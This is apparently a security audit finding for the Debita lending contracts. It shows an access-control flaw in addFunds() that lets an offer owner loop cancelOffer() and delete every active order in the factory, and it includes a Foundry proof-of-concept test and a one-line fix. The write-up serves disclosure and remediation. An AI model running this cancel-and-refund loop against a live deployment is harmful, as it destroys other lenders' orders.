034.md

Dandy Charcoal Bee

High

Malicious lend offer owner can delete the other active orders in the factory

Summary

Improper access control in addFunds() allows anyone to completely corrupt the state of the lending offers factory.

Root Cause

The only way to delete an active order is through DebitaLendOfferFactory:deleteOrder(), which is only callable by lend offer proxies trough cancleOffer():

function cancelOffer() public onlyOwner nonReentrant {
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel"); // <@
        isActive = false;
        
        // refound the avaiableAmount
        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );

        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }

As we can see, if the avaiableAmount is 0, then the offer is considered closed.

But, due to missing access control checks in the addFunds(), we can still write avaiableAmount even after the offer has been closed.

function addFunds(uint amount) public nonReentrant {
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount; // <@ allows to re-call cancelOffer() multiple times
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }

This is only possible because addFunds() only validates the caller, without checking that the offer was previously closed.

Internal pre-conditions

1. There are 1 or more lend offers created through the factory.

External pre-conditions

No response

Attack Path

1. Attacker creates a lend offer via the factory contract
2. He then repeatedly calls cancelOffer() and addFunds() for activeOrdersCount times
3. The lend offer factory has now 0 active orders and there is no way to recover the old state in which those offers were valid

Impact

Anyone can potentially cancel all of the active orders in the factory.

Note that they cannot be recovered because the activeOrderCount is decremented. This means that, after the attack, new orders will overwrite the old ones.

The only cost for the attacker are the transaction fees to pay since the cancelOffer() will always refund him of the tokens he previously used in addFunds(). Since all the target chains are L2 with very low fees this cost will be negligible.

PoC

Add the following contract into test/local :

pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {MockERC20} from "forge-std/mocks/MockERC20.sol";

contract ChangeOwnerShadowed is Test {

    DLOFactory DLOFactoryContract;
    MockERC20 token;

    function setUp() public {
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        token = new MockERC20();
        token.initialize("TestToken", "TTKN", 18);
    }

    function test_exploit() public {
        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");

        deal(address(token), alice, 10e18);
        deal(address(token), bob, 10e18);

        // 1. create 3 legitimate orders
        bool[] memory oraclesActivated = new bool[](1);
        uint[] memory ltvs = new uint[](1);
        uint[] memory ratios = new uint[](1);
        address[] memory acceptedPrinciples = new address[](1);
        address[] memory oraclesPrinciples = new address[](1);

        vm.startPrank(alice);
        token.approve(address(DLOFactoryContract), type(uint256).max);
        address lenderOrder1 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated, 
            true, 
            ltvs,
            1000, 
            30 days, 
            1 days, 
            acceptedPrinciples, 
            address(token), 
            oraclesPrinciples, 
            ratios, 
            address(0),
            1e18 
        );

        address lenderOrder2 = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated, 
            true, 
            ltvs,
            1000, 
            30 days, 
            1 days, 
            acceptedPrinciples, 
            address(token), 
            oraclesPrinciples, 
            ratios, 
            address(0),
            5e18 
        );

        vm.stopPrank();

        vm.startPrank(bob);
        token.approve(address(DLOFactoryContract), type(uint256).max);
        DLOImplementation lenderOrder3 = DLOImplementation(DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated, 
            true, 
            ltvs,
            1000, 
            30 days, 
            1 days, 
            acceptedPrinciples, 
            address(token), 
            oraclesPrinciples, 
            ratios, 
            address(0),
            5e18 
        ));

        // make sure that there are 3 active orders for the factory
        assertEq(DLOFactoryContract.activeOrdersCount(), 3);


        // EXPLOIT
        token.approve(address(lenderOrder3), type(uint256).max);
        lenderOrder3.cancelOffer();
        lenderOrder3.addFunds(5e18);
        lenderOrder3.cancelOffer();
        lenderOrder3.addFunds(5e18);
        lenderOrder3.cancelOffer();
        lenderOrder3.addFunds(5e18);

        assertEq(DLOFactoryContract.activeOrdersCount(), 0);
    }

}

Mitigation

Make addFunds() revert after the offer has been canceled by adding the following check: require(isActive, "Loan is inactive")